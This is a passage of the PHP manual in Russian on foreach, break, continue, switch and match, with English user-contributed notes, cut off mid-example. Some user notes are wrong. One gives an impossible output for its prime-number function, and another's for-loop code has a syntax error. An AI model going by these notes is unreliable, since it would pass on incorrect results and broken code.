Very convenient when working with excel columns.
JustinB at harvest dot org 04-Aug-2005 04:23
For those who are having issues with needing to evaluate multiple items in expression two, please note that it cannot be chained like expressions one and three can.  Although many have stated this fact, most have not stated that there is still a way to do this:

<?php
for($i = 0, $x = $nums['x_val'], $n = 15; ($i < 23 && $number != 24); $i++, $x + 5;) {
    // Do Something with All Those Fun Numbers
}
?>
user at host dot com 19-Apr-2004 03:53
Also acceptable:

<?php
  for($letter = ord('a'); $letter <= ord('z'); $letter++)
   print chr($letter);
?>
bishop 17-Jul-2003 01:23
If you're already using the fastest algorithms you can find (on the order of O(1), O(n), or O(n log n)), and you're still worried about loop speed, unroll your loops using e.g., Duff's Device:

<?php
$n = $ITERATIONS % 8;
while ($n--) $val++;
$n = (int)($ITERATIONS / 8);
while ($n--) {
    $val++;
    $val++;
    $val++;
    $val++;
    $val++;
    $val++;
    $val++;
    $val++;
}
?>

(This is a modified form of Duff's original device, because PHP doesn't understand the original's egregious syntax.)

That's algorithmically equivalent to the common form:

<?php
for ($i = 0; $i < $ITERATIONS; $i++) {
    $val++;
}
?>

$val++ can be whatever operation you need to perform ITERATIONS number of times.

On my box, with no users, average run time across 100 samples with ITERATIONS = 10000000 (10 million) is:
Duff version:       7.9857 s
Obvious version: 27.608 s
nzamani at cyberworldz dot de 17-Jun-2001 11:47
The point about the speed in loops is, that the middle and the last expression are executed EVERY time it loops.
So you should try to take everything that doesn't change out of the loop.
Often you use a function to check the maximum of times it should loop. Like here:

<?php
for ($i = 0; $i <= somewhat_calcMax(); $i++) {
  somewhat_doSomethingWith($i);
}
?>

Faster would be:

<?php
$maxI = somewhat_calcMax();
for ($i = 0; $i <= $maxI; $i++) {
  somewhat_doSomethingWith($i);
}
?>

And here a little trick:

<?php
$maxI = somewhat_calcMax();
for ($i = 0; $i <= $maxI; somewhat_doSomethingWith($i++)) ;
?>

The $i gets changed after the copy for the function (post-increment).


foreach

(PHP 4, PHP 5, PHP 7, PHP 8)

Конструкция foreach предоставляет простой способ перебора массивов. foreach работает только с массивами и объектами, и будет генерировать ошибку при попытке использования с переменными других типов или неинициализированными переменными. Существует два вида синтаксиса:

foreach (iterable_expression as $value)
    statement
foreach (iterable_expression as $key => $value)
    statement

Первый цикл перебирает массив, задаваемый с помощью iterable_expression. На каждой итерации значение текущего элемента присваивается переменной $value.

Второй цикл дополнительно присвоит ключ текущего элемента переменной $key на каждой итерации.

Обратите внимание, что foreach не изменяет указатель внутреннего массива, который используется такими функциями, как current() и key().

Возможно настроить итераторы объектов.

Для того, чтобы напрямую изменять элементы массива внутри цикла, переменной $value должен предшествовать знак &. В этом случае значение будет присвоено по ссылке.

<?php
$arr = array(1, 2, 3, 4);
foreach ($arr as &$value) {
$value = $value * 2;
}
// массив $arr сейчас таков: array(2, 4, 6, 8)
unset($value); // разорвать ссылку на последний элемент
?>

Внимание

Ссылка $value на последний элемент массива останется после окончания цикла foreach. Рекомендуется уничтожать её с помощью unset(). В противном случае вы можете столкнуться с таким поведением:

<?php
$arr = array(1, 2, 3, 4);
foreach ($arr as &$value) {
$value = $value * 2;
}
// $arr = array(2, 4, 6, 8)

// Без unset($value), $value всё ещё ссылается на последний элемент: $arr[3]

foreach ($arr as $key => $value) {
// $arr[3] будет перезаписываться значениями $arr при каждой итерации цикла
echo "{$key} => {$value} ";
print_r($arr);
}
// ...И в конце концов предпоследнее значение определит окончательное содержимое $arr[3]

// вывод:
// 0 => 2 Array ( [0] => 2, [1] => 4, [2] => 6, [3] => 2 )
// 1 => 4 Array ( [0] => 2, [1] => 4, [2] => 6, [3] => 4 )
// 2 => 6 Array ( [0] => 2, [1] => 4, [2] => 6, [3] => 6 )
// 3 => 6 Array ( [0] => 2, [1] => 4, [2] => 6, [3] => 6 )
?>

Можно перебирать значение постоянного массива по ссылке:

<?php
foreach (array(1, 2, 3, 4) as &$value) {
$value = $value * 2;
}
?>

Замечание:

Оператор foreach не поддерживает возможность подавления сообщений об ошибках с помощью префикса @.

Ещё несколько примеров, демонстрирующие использование оператора:

<?php
/* Пример 1: только значение */

$a = array(1, 2, 3, 17);

foreach ($a as $v) {
echo "Текущее значение переменной \$a: $v.\n";
}

/* Пример 2: значение (для иллюстрации массив выводится в виде значения с ключом) */

$a = array(1, 2, 3, 17);

$i = 0; /* только для пояснения */

foreach ($a as $v) {
echo "\$a[$i] => $v.\n";
$i++;
}

/* Пример 3: ключ и значение */

$a = array(
"one" => 1,
"two" => 2,
"three" => 3,
"seventeen" => 17
);

foreach ($a as $k => $v) {
echo "\$a[$k] => $v.\n";
}

/* Пример 4: многомерные массивы */
$a = array();
$a[0][0] = "a";
$a[0][1] = "b";
$a[1][0] = "y";
$a[1][1] = "z";

foreach ($a as $v1) {
foreach ($v1 as $v2) {
echo "$v2\n";
}
}

/* Пример 5: динамические массивы */

foreach (array(1, 2, 3, 4, 5) as $v) {
echo "$v\n";
}
?>

Распаковка вложенных массивов с помощью list()

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Можно перебрать массив массивов и распаковать вложенный массив в переменные цикла, передав list() в качестве значения.

Например:

<?php
$array = [
[1, 2],
[3, 4],
];

foreach ($array as list($a, $b)) {
// $a содержит первый элемент вложенного массива,
// а $b содержит второй элемент.
echo "A: $a; B: $b\n";
}
?>

Результат выполнения данного примера:

A: 1; B: 2
A: 3; B: 4

Можно передавать меньшее количество элементов в list(), чем находится во вложенном массиве, в этом случае оставшиеся значения массива будут проигнорированы:

<?php
$array = [
[1, 2],
[3, 4],
];

foreach ($array as list($a)) {
// Обратите внимание на отсутствие $b.
echo "$a\n";
}
?>

Результат выполнения данного примера:

1
3

Если массив содержит недостаточно элементов для заполнения всех переменных из list(), то будет сгенерировано замечание об ошибке:

<?php
$array = [
[1, 2],
[3, 4],
];

foreach ($array as list($a, $b, $c)) {
echo "A: $a; B: $b; C: $c\n";
}
?>

Результат выполнения данного примера:

Notice: Undefined offset: 2 in example.php on line 7
A: 1; B: 2; C:

Notice: Undefined offset: 2 in example.php on line 7
A: 3; B: 4; C:

User Contributed Notes

jon at pearkins dot com 06-Oct-2022 02:26
For an array, foreach presents the elements of the array in the order that they were added to the array. For example, if you need to have the elements presented in ascending order by key, use the ksort function to rearrange the elements of the array in key sequence.

This behavior is a result of the way that PHP arrays are stored. foreach merely presents the elements of an array in the order that they are stored within the array.
Okafor Chiagozie 27-Sep-2022 02:25
An easier way to unpack nested array elements

$array = [
    [1, 2],
    [3, 4],
];

foreach ($array as [$a, $b]) {
    echo "A: $a; B: $b\n";
}
Sanusi Hassan 23-Sep-2022 04:13
destructure array elements

you can unpac nested array elements using the following

<?php
$array = [
    [1, 2],
    [3, 4],
];

foreach ($array as $v) {
    [$a, $b] = $v;
    echo "A: $a; B: $b\n";
}
?>


break

(PHP 4, PHP 5, PHP 7, PHP 8)

break прерывает выполнение текущей структуры for, foreach, while, do-while или switch.

break принимает необязательный числовой аргумент, который сообщает ему выполнение какого количества вложенных структур необходимо прервать. Значение по умолчанию 1, только ближайшая структура будет прервана.

<?php
$arr = array('один', 'два', 'три', 'четыре', 'стоп', 'пять');
foreach ($arr as $val) {
if ($val == 'стоп') {
break; /* Тут можно было написать 'break 1;'. */
}
echo "$val<br />\n";
}

/* Использование дополнительного аргумента. */

$i = 0;
while (++$i) {
switch ($i) {
case 5:
echo "Итерация 5<br />\n";
break 1; /* Выйти только из конструкции switch. */
case 10:
echo "Итерация 10; выходим<br />\n";
break 2; /* Выходим из конструкции switch и из цикла while. */
default:
break;
}
}
?>

User Contributed Notes

ei dot dwaps at gmail dot com 07-Nov-2020 06:48
You can also use break with parentheses: break(1);

Note:
Using more nesting level leads to fatal error:

<?php
 while (true) {
    foreach ([1, 2, 3] as $value) {
      echo 'ok<br>';
      break 3; // Fatal error: Cannot 'break' 3 levels
    }
    echo 'jamais executer';
    break;
  }
?>


continue

(PHP 4, PHP 5, PHP 7, PHP 8)

continue используется внутри циклических структур для пропуска оставшейся части текущей итерации цикла и, при соблюдении условий, начала следующей итерации.

Замечание: В PHP оператор switch считается циклическим и внутри него может использоваться continue. Если continue не передано аргументов, то он ведёт себя аналогично break, но выдаёт предупреждение о возможной ошибке. Если switch расположен внутри цикла, continue 2 продолжит выполнение внешнего цикла со следующей итерации.

continue принимает необязательный числовой аргумент, который указывает на скольких уровнях вложенных циклов будет пропущена оставшаяся часть итерации. Значением по умолчанию является 1, при которой пропускается оставшаяся часть текущего цикла.

<?php
$arr = ['ноль', 'один', 'два', 'три', 'четыре', 'пять', 'шесть'];
foreach ($arr as $key => $value) {
if (0 === ($key % 2)) { // пропуск чётных чисел
continue;
}
echo $value . "\n";
}
?>

Результат выполнения данных примеров:

один
три
пять
<?php
$i = 0;
while ($i++ < 5) {
echo "Внешний\n";
while (1) {
echo "Средний\n";
while (1) {
echo "Внутренний\n";
continue 3;
}
echo "Это никогда не выведется.\n";
}
echo "Это также не выведется.\n";
}
?>

Результат выполнения данных примеров:

Внешний
Средний
Внутренний
Внешний
Средний
Внутренний
Внешний
Средний
Внутренний
Внешний
Средний
Внутренний
Внешний
Средний
Внутренний

Пропуск точки запятой после continue может привести к путанице. Пример как не надо делать.

<?php
for ($i = 0; $i < 5; ++$i) {
if ($i == 2)
continue
print "$i\n";
}
?>

Ожидается, что результат будет такой:

0
1
3
4

Изменения, касающиеся оператора continue
Версия | Описание
7.3.0 | continue внутри switch, использующееся как замена break для switch будет вызывать ошибку уровня E_WARNING.

User Contributed Notes

clau r jimenez 07-Apr-2021 03:13
I've been playing around to see what it does in practice. This is what helped me understand what it does and its difference with using break.

<?php
$i = 0;
while ($i++ < 5) {
    while ($i % 2 === 0) {
        echo "$i is even. \n";
        ####
    }
    echo "$i is odd. \n";
}
?>

Where ####:
 - break: outputs both '$i is even' and '$i is odd' for even numbers.
 - continue: infinite loop as soon as it evaluates true for the first even number.
 - break 2: as soon as it runs, it exits from both loops.
 - continue 2: outputs numbers correctly.

What I understand from this is that break will exit current looping structure and will keep running outer loop code. Continue will make loop get back to evaluation, and will iterate over itself until it evaluates to false. Break 2 will exit 2 levels, which in this case will stop the iteration altogether. Continue 2 will evaluate not the current loop (level 1 so to speak), but the outer loop in this case.
mparsa1372 at gmail dot com 12-Mar-2021 03:32
The continue statement breaks one iteration (in the loop), if a specified condition occurs, and continues with the next iteration in the loop.

This example skips the value of 4:

<?php
for ($x = 0; $x < 10; $x++) {
  if ($x == 4) {
    continue;
  }
  echo "The number is: $x <br>";
}
?>
send at mail dot 2aj dot net 06-Feb-2018 05:42
As of PHP 7.0, instead of code executing up until encountering a continue (or break) call outside of a loop statement, the code will simply not execute.

If you need to correct such error cases as part of an upgrade, you may need to substitute either an exit or return to maintain the existing behavior of such legacy code.

<?php

class ok {

    function foo() {
        echo "start\n";

        for ($i = 0; $i < 5; $i++) {
            echo "before\n";
            $this->bar($i);
            echo "after\n";
        }

        echo "finish\n";
    }

    function bar($i) {
        echo "inside iteration $i\n";

        if ($i == 3) {
            echo "continuing\n";
            continue;
        }

        echo "inside after $i\n";
    }
}

$ex = new ok();

$ex->foo();

?>

sh> php56 continue.php
start
before
inside iteration 0
inside after 0
after
before
inside iteration 1
inside after 1
after
before
inside iteration 2
inside after 2
after
before
inside iteration 3
continuing
PHP Fatal error:  Cannot break/continue 1 level in continue.php on line 22
PHP Stack trace:
PHP   1. {main}() continue.php:0
PHP   2. ok->foo() continue.php:31
PHP   3. ok->bar() continue.php:10

sh> php70 continue.php
PHP Fatal error:  'continue' not in the 'loop' or 'switch' context in continue.php on line 22

Fatal error: 'continue' not in the 'loop' or 'switch' context in continue.php on line 22
John 13-Mar-2014 02:49
<?php

echo"\n";
echo"\n";

    for ( $i = 0; $i < 5; $i++ ) {

        switch ($i)
        {

            case 0:
                echo $i . "b";
                continue;
                echo $i . "a";
            case 1:
                echo $i . "b";
                continue 2;
                echo $i . "a";
            case 2:
                echo $i . "b";
                break;
                echo $i . "a";
            case 3:
                echo $i . "b";
                break 2;
                echo $i . "a";
            case 4:
                echo $i;

        }

        echo 9;

    }

echo"\n";
echo"\n";

?>

This results in: 0b91b2b93b

It goes to show that in a switch statement break and continue are the same. But in loops break stops the loop completely and continue just stops executing the current iterations code and moves onto the next loop iteration.
Koen 21-Dec-2012 12:26
If you use a incrementing value in your loop, be sure to increment it before calling continue; or you might get an infinite loop.
maik penz 04-Jun-2012 09:12
Please note that with PHP 5.4 continue 0; will fail with

PHP Fatal error:  'continue' operator accepts only positive numbers

(same is true for break).
Anonymous 25-Jul-2011 09:22
<?php
function print_primes_between($x,$y)
{
    for($i=$x;$i<=$y;$i++)
   {
        for($j= 2; $j < $i; $j++)  if($i%$j==0) continue 2;
        echo $i.",";
   }
}
?>

This function, using continue syntax, is to print prime numbers between given numbers, x and y.
For example, print_primes_between(10,20) will output:

11,13,17,19,23,29,
skippychalmers at gmail dot com 17-May-2011 05:56
To state the obvious, it should be noted, that the optional param defaults to 1 (effectively).
rjsteinert.com 26-Feb-2011 09:22
The most basic example that print "13", skipping over 2.

<?php
$arr = array(1, 2, 3);
foreach($arr as $number) {
  if($number == 2) {
    continue;
  }
  print $number;
}
?>
jaimthorn at yahoo dot com 24-Mar-2010 06:36
The remark "in PHP the switch statement is considered a looping structure for the purposes of continue" near the top of this page threw me off, so I experimented a little using the following code to figure out what the exact semantics of continue inside a switch is:

<?php

    for( $i = 0; $i < 3; ++ $i )
    {
        echo ' [', $i, '] ';
        switch( $i )
        {
            case 0: echo 'zero'; break;
            case 1: echo 'one' ; XXXX;
            case 2: echo 'two' ; break;
        }
        echo ' <' , $i, '> ';
    }

?>

For XXXX I filled in

- continue 1
- continue 2
- break 1
- break 2

and observed the different results.  This made me come up with the following one-liner that describes the difference between break and continue:

continue resumes execution just before the closing curly bracket ( } ), and break resumes execution just after the closing curly bracket.

Corollary: since a switch is not (really) a looping structure, resuming execution just before a switch's closing curly bracket has the same effect as using a break statement.  In the case of (for, while, do-while) loops, resuming execution just prior their closing curly brackets means that a new iteration is started --which is of course very unlike the behavior of a break statement.

In the one-liner above I ignored the existence of parameters to break/continue, but the one-liner is also valid when parameters are supplied.
Nikolay Ermolenko 16-Apr-2009 05:58
Using continue and break:

<?php
$stack = array('first', 'second', 'third', 'fourth', 'fifth');

foreach($stack AS $v){
    if($v == 'second')continue;
    if($v == 'fourth')break;
    echo $v.'<br>';
}
/*

first
third

*/

$stack2 = array('one'=>'first', 'two'=>'second', 'three'=>'third', 'four'=>'fourth', 'five'=>'fifth');
foreach($stack2 AS $k=>$v){
    if($v == 'second')continue;
    if($k == 'three')continue;
    if($v == 'fifth')break;
    echo $k.' ::: '.$v.'<br>';
}
/*

one ::: first
four ::: fourth

*/

?>
Anonymous 11-Sep-2008 10:04
The continue keyword can skip division by zero:
<?php
$i = 100;
while ($i > -100)
{
    $i--;
    if ($i == 0)
    {
        continue;
    }
    echo (200 / $i) . "<br />";
}
?>
Geekman 27-Dec-2007 05:01
For clarification, here are some examples of continue used in a while/do-while loop, showing that it has no effect on the conditional evaluation element.

<?php
// Outputs "1 ".
$i = 0;
while ($i == 0) {
    $i++;
    echo "$i ";
    if ($i == 1) continue;
}

// Outputs "1 2 ".
$i = 0;
do {
    $i++;
    echo "$i ";
    if ($i == 2) continue;
} while ($i == 1);
?>

Both code snippets would behave exactly the same without continue.
tufan dot oezduman at gmail dot com 21-Dec-2006 04:28
a possible explanation for the behavior of continue in included scripts mentioned by greg and dedlfix above may be the following line of the "return" documentation: "If the current script file was include()ed or require()ed, then control is passed back to the calling file."
The example of greg produces an error since page2.php does not contain any loop-operations.

So the only way to give the control back to the loop-operation  in page1.php would be a return.
szrrya at yahoo dot com 17-Jul-2006 02:18
Documentation states:

"continue is used within looping structures to skip the rest of the current loop iteration"

Current functionality treats switch structures as looping in regards to continue.  It has the same effect as break.

The following code is an example:

<?php
for ($i1 = 0; $i1 < 2; $i1++) {
  // Loop 1.
  for ($i2 = 0; $i2 < 2; $i2++) {
    // Loop 2.
    switch ($i2 % 2) {
      case 0:
        continue;
        break;
    }
    print '[' . $i2 . ']<br>';
  }
  print $i1 . '<br>';
}
?>

This outputs the following:
[0]
[1]
0
[0]
[1]
1

Switch is documented as a block of if...elseif... statements, so you might expect the following output:
[1]
0
[1]
1

This output requires you to either change the switch to an if or use the numerical argument and treat the switch as one loop.
Rene 18-Feb-2006 12:24
(only) the reason that is given on the "Continue with missing semikolon" example is wrong.

the script will output "2" because the missing semikolon causes that the "print"-call is executed only if the "if" statement is true. It has nothing to to with "what" the "print"-call would return or not return, but the returning value can cause to skip to the end of higher level Loops if any call is used that will return a bigger number than 1.

<?php
continue print "$i\n";
?>

because of the optional argument, the script will not run into a "unexpected T_PRINT" error. It will not run into an error, too, if the call after continue does return anything but a number.

i suggest to change it from:
because the return value of the print() call is int(1), and it will look like the optional numeric argument mentioned above.

to
because the print() call will look like the optional numeric argument mentioned above.
net_navard at yahoo dot com 25-Dec-2005 09:01
Hello firends

It is said in manually:
continue also accepts an optional numeric argument which tells it how many levels of enclosing loops it should .

In order to understand better this,An example for that:
<?php

/*continue also accepts an optional numeric argument which
    tells it how many levels of enclosing loops it should skip.*/

for($k=0;$k<2;$k++)
{//First loop

    for($j=0;$j<2;$j++)
    {//Second loop

      for($i=0;$i<4;$i++)
      {//Third loop
    if($i>2)
    continue 2;// If $i >2 ,Then it skips to the Second loop(level 2),And starts the next step,
    echo "$i\n";
       }

    }

}

?>

Merry's christmas :)

With regards,Hossein
dedlfix gives me a hint 28-Jan-2005 06:47
a possible solution for
greg AT laundrymat.tv

I've got the same problem as Greg
and now it works very fine by using
return() instead of continue.

It seems, that you have to use return()
if you have a file included and
you want to continue with the next loop
greg AT laundrymat.tv 14-Jan-2005 08:58
You using continue in a file included in a loop will produce an error.  For example:

//page1.php
for($x=0;$x<10;$x++)
   {
    include('page2.php');
}

//page2.php

if($x==5)
    continue;
else
   print $x;

it should print

"012346789" no five, but it produces an error:

Cannot break/continue 1 level in etc.
www.derosetechnologies.com 10-May-2004 08:58
In the same way that one can append a number to the end of a break statement to indicate the "loop" level upon which one wishes to 'break' , one can append a number to the end of a 'continue' statement to acheive the same goal. Here's a quick example:

<?
    for ($i = 0;$i<3;$i++) {
        echo "Start Of I loop\n";
        for ($j=0;;$j++) {

            if ($j >= 2) continue 2; // This "continue" applies to the "$i" loop
            echo "I : $i J : $j"."\n";
        }
        echo "End\n";
    }
?>

The output here is:
Start Of I loop
I : 0 J : 0
I : 0 J : 1
Start Of I loop
I : 1 J : 0
I : 1 J : 1
Start Of I loop
I : 2 J : 0
I : 2 J : 1

For more information, see the php manual's entry for the 'break' statement.


switch

(PHP 4, PHP 5, PHP 7, PHP 8)

Оператор switch похож на ряд операторов IF с одинаковым условием. Во многих случаях вам может понадобиться сравнивать одну и ту же переменную (или выражение) с множеством различных значений и выполнять различные участки кода в зависимости от того, какое значение принимает эта переменная (или выражение). Это именно тот случай, для которого удобен оператор switch.

Замечание: Обратите внимание, что в отличие от некоторых других языков, оператор continue применяется в конструкциях switch и действует подобно оператору break. Если у вас конструкция switch находится внутри цикла, и вам необходимо перейти к следующей итерации цикла, используйте continue 2.

Замечание:

Заметьте, что конструкция switch/case использует нестрогое сравнение (==).

В следующем примере каждый блок кода эквивалентен. В одном используется серия операторов if и elseif, а в другом - оператор switch. В каждом случае результат один и тот же.

Пример #1 Оператор switch

<?php
// Оператор switch:

switch ($i) {
case 0:
echo "i равно 0";
break;
case 1:
echo "i равно 1";
break;
case 2:
echo "i равно 2";
break;
}

// Эквивалентно:

if ($i == 0) {
echo "i равно 0";
} elseif ($i == 1) {
echo "i равно 1";
} elseif ($i == 2) {
echo "i равно 2";
}
?>

Пример #2 Оператор switch допускает сравнение с типом string

<?php
switch ($i) {
case "яблоко":
echo "i это яблоко";
break;
case "шоколадка":
echo "i это шоколадка";
break;
case "пирог":
echo "i это пирог";
break;
}
?>

Важно понять, как оператор switch выполняется, чтобы избежать ошибок. Оператор switch исполняет строчка за строчкой (на самом деле выражение за выражением). В начале никакой код не исполняется. Только в случае нахождения оператора case, значение которого совпадает со значением выражения в операторе switch, PHP начинает исполнять операторы. PHP продолжает исполнять операторы до конца блока switch либо до тех пор, пока не встретит оператор break. Если вы не напишете оператор break в конце секции case, PHP будет продолжать исполнять команды следующей секции case. Например :

<?php
switch ($i) {
case 0:
echo "i равно 0";
case 1:
echo "i равно 1";
case 2:
echo "i равно 2";
}
?>

В этом примере, если $i равно 0, то PHP исполнит все операторы echo! Если $i равно 1, PHP исполнит два последних оператора echo. Вы получите ожидаемое поведение оператора ('i равно 2' будет отображено) только, если $i будет равно 2. Таким образом, важно не забывать об операторах break (даже если вы, возможно, хотите избежать его использования по назначению при определённых обстоятельствах).

В операторе switch выражение вычисляется один раз и этот результат сравнивается с каждым оператором case. В выражении elseif, выражение вычисляется снова. Если ваше условие более сложное, чем простое сравнение и/или находится в цикле, конструкция switch может работать быстрее.

Список операторов для исполнения в секции case также может быть пустым, что просто передаёт управление списку операторов в следующей секции case.

<?php
switch ($i) {
case 0:
case 1:
case 2:
echo "i меньше чем 3, но неотрицательный";
break;
case 3:
echo "i равно 3";
}
?>

Специальный вид конструкции case - default. Сюда управление попадает тогда, когда не сработал ни один из других операторов case. Например:

<?php
switch ($i) {
case 0:
echo "i равно 0";
break;
case 1:
echo "i равно 1";
break;
case 2:
echo "i равно 2";
break;
default:
echo "i не равно 0, 1 или 2";
}
?>

Замечание: Несколько указаний default вызовут ошибку E_COMPILE_ERROR.

Замечание: Формально конструкция default может быть перечислена в любом месте. Она будет использоваться только в том случае, если ни один другой вариант не подходит. Однако, по соглашению, лучше всего поместить её в конец, как последнюю конструкцию.

Если ни одна конструкция case не совпадает и нет конструкции default, то код не будет выполнен, как если бы ни одно утверждение if не было истинным.

Значение case может быть задано в виде выражения. Однако это выражение будет оценено само по себе, а затем слабо сопоставлено со значением switch. Это означает, что его нельзя использовать для сложных оценок значения switch. Например:

<?php
$target = 1;
$start = 3;

switch ($target) {
case $start - 1:
print "A";
break;
case $start - 2:
print "B";
break;
case $start - 3:
print "C";
break;
case $start - 4:
print "D";
break;
}

// Выведет "B"
?>

Для более сложных сравнений в качестве значения switch может использоваться значение true. Или, как вариант, вместо switch использовать блоки if-else.

<?php
$offset = 1;
$start = 3;

switch (true) {
case $start - $offset === 1:
print "A";
break;
case $start - $offset === 2:
print "B";
break;
case $start - $offset === 3:
print "C";
break;
case $start - $offset === 4:
print "D";
break;
}

// Выведет "B"
?>

Возможен альтернативный синтаксис для управляющей структуры switch. Для более детальной информации, смотрите Альтернативный синтаксис для управляющих структур.

<?php
switch ($i):
case 0:
echo "i равно 0";
break;
case 1:
echo "i равно 1";
break;
case 2:
echo "i равно 2";
break;
default:
echo "i не равно 0, 1 или 2";
endswitch;
?>

Возможно использование точки с запятой вместо двоеточия после оператора case. К примеру :

<?php
switch($beer)
{
case 'tuborg';
case 'carlsberg';
case 'stella';
case 'heineken';
echo 'Хороший выбор';
break;
default;
echo 'Пожалуйста, сделайте новый выбор...';
break;
}
?>

Смотрите также

  • match

User Contributed Notes

GeorgNation 16-Oct-2023 12:16
You can wrap up the case/break block with a curly braces:

$x = 2;

switch ($x)
{
    case 2: {
        echo '2 entrypoint';
        break;
    }

    default: {
        echo 'default entrypoint';
        break;
    }
}
David Spector 19-Jun-2023 05:14
Note that break can be followed by an optional integer, indicating how many additional break contexts to leave when leaving this switch context. Break contexts are switches and loops. "Leaving" means to continue execution following a break context.

Note that the datatype used for all case constants in a switch is determined by the first occurrence of a case, so all cases must use the same datatype, integer or string. So,  if the first case is `case 0:` and the second is `case 'abc':` , then the `'abc'` is internally converted to the integer 0. You may find this unexpected. This example would be fixed by changing the first case to `case '':`.
j dot kane dot third at gmail dot com 22-Nov-2022 07:46
The default case appears to always be evaluated last. If break is excluded from the default case, then the proceeding cases will be reevaluated. This behavior appears to be undocumented.

<?php

$kinds = ['moo', 'kind1', 'kind2'];

foreach ($kinds as $kind) {
    switch($kind)
    {
        default:
            // The kind wasn't valid, set it to the default
            $kind = 'kind1';
            var_dump('default');

        case 'kind1':
            var_dump('1');
            break;

        case 'kind2':
            var_dump('2');
            break;

        case 'kindn':
            var_dump('n-th');
            break;
    }

    echo "\n\n";
}

?>
me at czarpino dot com 01-Nov-2022 04:53
Although noted elsewhere, still worth noting is how loose comparison in switch-case was also affected by the change in string to number comparison. Prior PHP8, strings were converted to int before comparison. The reverse is now true which can cause issues for logic that relied on this behavior.

<?php
function testSwitch($key) {
    switch ($key) {
        case 'non numeric string':
            echo $key . ' matches "non numeric string"';
            break;
    }
}

testSwitch(0);    // pre-PHP8, returns '0 matches "non numeric string"'
?>
septerrianin at mail dot ru 15-Aug-2018 09:15
php 7.2.8.
The answer to the eternal question " what is faster?":
1 000 000 000 iterations.

<?php
$s = time();
for ($i = 0; $i < 1000000000; ++$i) {
  $x = $i%10;
  if ($x == 1) {
    $y = $x * 1;
  } elseif ($x == 2) {
    $y = $x * 2;
  } elseif ($x == 3) {
    $y = $x * 3;
  } elseif ($x == 4) {
    $y = $x * 4;
  } elseif ($x == 5) {
    $y = $x * 5;
  } elseif ($x == 6) {
    $y = $x * 6;
  } elseif ($x == 7) {
    $y = $x * 7;
  } elseif ($x == 8) {
    $y = $x * 8;
  } elseif ($x == 9) {
    $y = $x * 9;
  } else {
    $y = $x * 10;
  }
}
print("if: ".(time() - $s)."sec\n");

$s = time();
for ($i = 0; $i < 1000000000; ++$i) {
  $x = $i%10;
  switch ($x) {
  case 1:
    $y = $x * 1;
    break;
  case 2:
    $y = $x * 2;
    break;
  case 3:
    $y = $x * 3;
    break;
  case 4:
    $y = $x * 4;
    break;
  case 5:
    $y = $x * 5;
    break;
  case 6:
    $y = $x * 6;
    break;
  case 7:
    $y = $x * 7;
    break;
  case 8:
    $y = $x * 8;
    break;
  case 9:
    $y = $x * 9;
    break;
  default:
    $y = $x * 10;
  }
}
print("switch: ".(time() - $s)."sec\n");
?>

Results:
if: 69sec
switch: 42sec
MaxTheDragon at home dot nl 14-Jun-2012 02:29
This is listed in the documentation above, but it's a bit tucked away between the paragraphs. The difference between a series of if statements and the switch statement is that the expression you're comparing with, is evaluated only once in a switch statement. I think this fact needs a little bit more attention, so here's an example:

<?php
$a = 0;

if(++$a == 3) echo 3;
elseif(++$a == 2) echo 2;
elseif(++$a == 1) echo 1;
else echo "No match!";

// Outputs: 2

$a = 0;

switch(++$a) {
    case 3: echo 3; break;
    case 2: echo 2; break;
    case 1: echo 1; break;
    default: echo "No match!"; break;
}

// Outputs: 1
?>

It is therefore perfectly safe to do:

<?php
switch(winNobelPrizeStartingFromBirth()) {
case "peace": echo "You won the Nobel Peace Prize!"; break;
case "physics": echo "You won the Nobel Prize in Physics!"; break;
case "chemistry": echo "You won the Nobel Prize in Chemistry!"; break;
case "medicine": echo "You won the Nobel Prize in Medicine!"; break;
case "literature": echo "You won the Nobel Prize in Literature!"; break;
default: echo "You bought a rusty iron medal from a shady guy who insists it's a Nobel Prize..."; break;
}
?>

without having to worry about the function being re-evaluated for every case. There's no need to preemptively save the result in a variable either.
nospam at please dot com 14-Nov-2000 05:18
Just a trick I have picked up:

If you need to evaluate several variables to find the first one with an actual value, TRUE for instance. You can do it this was.

There is probably a better way but it has worked out well for me.

switch (true) {

  case (X != 1):

  case (Y != 1):

  default:
}


match

(PHP 8)

Выражение match предназначено для ветвления потока исполнения на основании проверки совпадения значения с заданным условием. Аналогично оператору switch, выражение match принимает на вход выражение, которое сравнивается с множеством альтернатив. Но, в отличие от switch, оно обрабатывает значение в стиле, больше похожем на тернарный оператор. Также, в отличие от switch, используется строгое сравнение (===), а не слабое (==). Выражение match доступно начиная с PHP 8.0.0.

Пример #1 Структура выражения match

<?php
$return_value = match (subject_expression) {
single_conditional_expression => return_expression,
conditional_expression1, conditional_expression2 => return_expression,
};
?>

Пример #2 Простой пример использования match

<?php
$food = 'cake';
$return_value = match ($food) {
'apple' => 'На столе лежит яблоко',
'banana' => 'На столе лежит банан',
'cake' => 'На столе стоит торт',
};
var_dump($return_value);
?>

Результат выполнения данного примера:

string(35) "На столе стоит торт"

Замечание: Результат match использовать не обязательно.

Замечание: Выражение match должно завершаться точкой с запятой ;.

Выражение match похоже на оператор switch за исключением некоторых ключевых отличий:

  • В отличие от switch, в match используется строгое сравнение (===).
  • Выражение match возвращает результат.
  • В match исполняется только одна, первая подошедшая, ветвь кода, тогда как в switch происходит сквозное исполнение начиная с подошедшего условия и до первого встретившегося оператора break.
  • Выражение match должно быть исчерпывающим.

Также как и оператор switch, match последовательно проводит проверки на совпадение с заданными условиями. Выполнение кода условий происходит лениво, т.е. код следующего условия выполняется только если все предыдущие проверки провалились. Будет выполнена только одна ветвь кода, соответствующая подошедшему условию. Пример:

<?php
$result = match ($x) {
foo() => ...,
$this->bar() => ..., // $this->bar() не будет выполнен, если foo() === $x
$this->baz => beep(), // beep() будет выполнен только если $x === $this->baz
// etc.
};
?>

Условия в match могут быть множественными. В этом случае их следует разделять запятыми. Множественные условия работают по принципу логического ИЛИ и, по сути, являются сокращённой формой для случаев, когда несколько условий должны обрабатываться идентично.

<?php
$result = match ($x) {
// Множественное условие:
$a, $b, $c => 5,
// Аналогично трём одиночным:
$a => 5,
$b => 5,
$c => 5,
};
?>

Также можно использовать шаблон default. Этот шаблон совпадает с чем угодно, для чего не нашлось совпадений раньше. К примеру:

<?php
$expressionResult = match ($condition) {
1, 2 => foo(),
3, 4 => bar(),
default => baz(),
};
?>

Замечание: Использование нескольких шаблонов default приведёт к фатальной ошибке E_FATAL_ERROR.

Выражение match должно быть исчерпывающим. Если проверяемое выражение не совпало ни с одним из условий, то будет выброшено исключение UnhandledMatchError.

Пример #3 Пример необработанного выражения

<?php
